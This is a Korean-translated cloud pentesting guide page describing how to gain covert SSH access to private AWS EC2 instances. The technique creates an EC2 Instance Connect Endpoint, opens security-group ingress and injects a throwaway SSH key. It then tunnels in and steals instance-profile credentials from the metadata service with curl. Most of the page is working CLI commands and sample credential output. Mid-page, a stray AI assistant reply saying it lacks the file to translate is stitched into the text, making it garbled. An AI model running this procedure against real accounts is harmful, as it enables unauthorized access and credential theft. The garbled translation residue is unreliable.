AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Reading time: 5 minutes

다음과 같이 EC2 Instance Connect Endpoint (EIC Endpoint)을 악용하여 private EC2 instances (퍼블릭 IP나 bastion 없음)에 대한 인바운드 SSH 접근을 얻습니다:

• 타깃 서브넷 내부에 EIC Endpoint 생성
• EIC Endpoint SG에서 대상 SG로의 인바운드 SSH 허용
• 짧은 유효기간(약 60초)의 SSH 공개키를 ec2-instance-connect:SendSSHPublicKey로 주입
• EIC 터널을 열고 피벗하여 IMDS에서 instance profile 자격증명을 탈취

Impact: bastion과 퍼블릭 IP 제한을 우회하는 private EC2 instances로의 은밀한 원격 접근 경로. 공격자는 instance profile을 가정하여 계정 내에서 활동할 수 있습니다.

Requirements

• 권한:
• ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
• ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
• SSH 서버와 EC2 Instance Connect가 활성화된 대상 Linux 인스턴스 (Amazon Linux 2 또는 Ubuntu 20.04+). 기본 사용자: ec2-user (AL2) 또는 ubuntu (Ubuntu).

Variables

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

EIC 엔드포인트 생성

aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

EIC Endpoint에서 대상 인스턴스로의 트래픽 허용

aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

임시 SSH 키 삽입 및 터널 열기

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation 증명 (steal instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

I don't have the file content. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I will translate the English parts to Korean while preserving all code, tags, links and paths exactly.

{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

탈취한 creds를 로컬에서 사용해 신원 확인:

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

정리

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

참고

• 주입된 SSH 키는 약 60초 동안만 유효합니다; tunnel/SSH를 열기 직전에 키를 전송하세요.
• OS_USER는 AMI와 일치해야 합니다(예: ubuntu는 Ubuntu의 경우, ec2-user는 Amazon Linux 2의 경우).